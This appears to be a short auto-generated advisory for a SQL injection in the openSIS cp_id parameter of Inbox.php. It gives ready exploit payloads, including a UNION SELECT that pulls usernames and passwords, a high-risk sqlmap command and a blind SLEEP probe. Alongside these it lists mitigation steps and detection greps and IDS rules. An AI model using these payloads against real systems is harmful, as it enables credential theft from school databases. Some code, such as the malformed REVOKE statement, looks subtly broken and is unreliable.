How the CVE Works:
CVE-2025-22928 exploits a SQL injection flaw in OS4ED openSIS versions 7.0 to 9.1. The vulnerability resides in the `cp_id` parameter of the `/modules/messages/Inbox.php` endpoint. Attackers can manipulate this parameter to inject malicious SQL queries, bypassing authentication and extracting sensitive database information. Due to improper input sanitization, the application directly concatenates user-supplied input into SQL statements, enabling arbitrary database commands. Successful exploitation may lead to data theft, privilege escalation, or system compromise.
DailyCVE Form:
Platform: OS4ED openSIS
Version: 7.0 – 9.1
Vulnerability: SQL Injection
Severity: Critical
Date: 04/03/2025
What Undercode Say:
Exploitation:
1. Craft malicious `cp_id` payload:
GET /modules/messages/Inbox.php?cp_id=1' UNION SELECT username,password FROM users-- HTTP/1.1
2. Automate with SQLmap:
sqlmap -u "http://target/modules/messages/Inbox.php?cp_id=1" --risk=3 --level=5
3. Blind SQLi detection:
cp_id=1' AND (SELECT 1 FROM dual WHERE SLEEP(5))--
Mitigation:
1. Patch: Upgrade to openSIS v9.2+.
2. Input sanitization:
$cp_id = mysqli_real_escape_string($conn, $_GET['cp_id']);
3. WAF rules: Block SQLi patterns (e.g., UNION SELECT, --).
4. Database hardening:
REVOKE DELETE, DROP ON openSIS. FROM 'app_user'@'localhost';
Detection:
1. Log analysis:
grep "modules/messages/Inbox.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
2. IDS signature:
alert http any any -> any any (msg:"SQLi attempt in openSIS"; uricontent:"/Inbox.php"; pcre:"/cp_id=[^&][\'\"].UNION/Si";)
Analytics:
- Attack surface: High (web-accessible endpoint).
- Exploitability: Trivial (public PoCs expected).
- Impact: Confidentiality, Integrity, Availability.
